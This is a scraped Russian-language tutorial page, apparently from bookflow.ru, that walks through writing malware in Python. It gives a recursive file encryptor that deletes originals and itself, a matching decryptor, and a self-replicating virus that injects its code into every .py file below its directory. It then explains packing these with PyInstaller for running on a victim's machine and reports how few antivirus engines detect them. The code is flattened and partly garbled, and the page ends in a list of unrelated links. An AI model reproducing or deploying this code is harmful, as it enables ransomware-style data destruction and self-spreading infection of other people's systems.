import os import sys def crypt(file): import pyAesCrypt print(‘-‘ * 80) password = «‘»+str(password)+»‘» buffer_size = 512*1024 pyAesCrypt.encryptFile(str(file), str(file) + «.crp», password, buffer_size) print(«[Encrypt] ‘»+str(file)+».crp'») os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk(«»’+str(direct)+»'») print(‘-‘ * 80) os.remove(str(sys.argv[0]))

Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

import os import sys # Функция расшифровки def decrypt(file): import pyAesCrypt print(‘-‘ * 80) password = «»’+str(password)+»'» buffer_size = 512 * 1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size) print(«[Decrypt] ‘» + str(os.path.splitext(file)[0]) + «‘») os.remove(file) # Обход каталогов def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except Error: pass else: walk(path) walk(«»’+str(direct)+»'») print(‘-‘ * 80) os.remove(str(sys.argv[0]))

Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.

Создание вируса

Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

import sys import os

Создадим три функции: сообщение, парсер, заражение.

Функция, которая сообщает об атаке:

def code(void): print(«Infected»)

Сразу вызовем ее, чтобы понять, что программа отработала:

code(None)

Обход директорий похож на тот, что мы делали в шифровальщике.

def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) # Если нашли файл, проверяем его расширение if os.path.isfile(path): # Если расширение — py, вызываем virus if (os.path.splitext(path)[1] == «.py»): virus(path) else: pass else: # Если это каталог, заходим в него walk(path)

В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.

Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).

В начале и в конце файла пишем вот такие комментарии:

# START # # STOP #

Чуть позже объясню зачем.

Дальше функция, которая отвечает за саморепликацию.

def virus(python): begin = «# START #n» end = «# STOP #n» # Читаем атакуемый файл, назовем его copy with open(sys.argv[0], «r») as copy: # Создаем флаг k = 0 # Создаем переменную для кода вируса и добавляем пустую строку virus_code = «n» # Построчно проходим заражаемый файл for line in copy: # Если находим маркер начала, поднимаем флаг if line == begin: k = 1 # Добавляем маркер в зараженный код virus_code += begin # Если мы прошли начало, но не дошли до конца, копируем строку elif k == 1 and line != end: virus_code += line # Если дошли до конца, добавляем финальный маркер и выходим из цикла elif line == end: virus_code += end break else: pass # Снова читаем заражаемый файл with open(python, «r») as file: # Создаем переменную для исходного кода original_code = «» # Построчно копируем заражаемый код for line in file: original_code += line # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir if line == begin: vir = True break # Если маркера нет, опускаем флаг vir else: vir = False # Если флаг vir опущен, пишем в файл вирус и исходный код if not vir: with open(python, «w») as paste: paste.write(virus_code + «nn» + original_code) else: pass

Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп».

Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код.

Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.

Создание исполняемого файла

Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.

pip install PyInstaller

И вводим команду

PyInstaller «имя_файла.py» —onefile —noconsole

Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.

Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.

Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:

файл Crypt.exe не понравился 12 антивирусам из 72;
файл Locker.exe — 10 антивирусам из 72;
файл Virus.exe — 23 антивирусам из 72.

Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.

Итого

Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.

Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с Chttps://bookflow.ru/kak-napisat-shifrovalshhik-na-python/» target=»_blank»]bookflow.ru[/mask_link]

Вирус на Python: Изучаем возможности полноценного злокодинга на интерпретируемом языке

Код HLLP-вируса

Сетевой червь

Отправка письма

Отправка письма с вложением

Несколько замечаний

Заключение

Мелкая питонячая радость #12: вирусы и зловредное ПО на Python

Если отбросить часть иронии…

Упаковка в бинарники

А шо вирусу делать?

А шо бы своровать?

Серверная токсичность

Вот и все

Пишем вирусы и зловредное ПО на Python

Если отбросить часть иронии…

Упаковка в бинарники

А шо вирусу делать?

А шо бы своровать?

Серверная токсичность

Трояны

Теория

Вот и все

Троян на Python. Основы зловредного кодинга на Python’e под Windows 7

Как написать шифровальщик на Python

Как написать локер, шифровальщик и вирус на Python

Настройка среды

Создание локера

Создание шифровальщика

Создание вируса

Создание исполняемого файла

Итого

Программа смешанное белье для чего

Для чего нужна программа компилятор

Токси риск программа для чего

Программа аршин метрология для чего

Программа чек пфр для чего

Для чего предназначена программа стили

Для чего нужна программа тренажер

Для чего нужна программа apkpure